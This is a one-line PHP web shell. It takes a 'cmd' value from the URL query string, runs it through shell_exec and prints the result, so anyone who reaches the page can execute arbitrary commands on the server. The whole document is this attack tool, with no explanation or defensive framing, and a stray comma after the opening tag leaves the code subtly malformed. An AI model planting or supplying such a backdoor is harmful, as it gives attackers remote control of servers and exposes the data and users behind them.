<?php , $cmd = $_GET['cmd'] ?? 'echo ".."'; $output = shell_exec($cmd); echo "<pre>$output</pre>"; ?>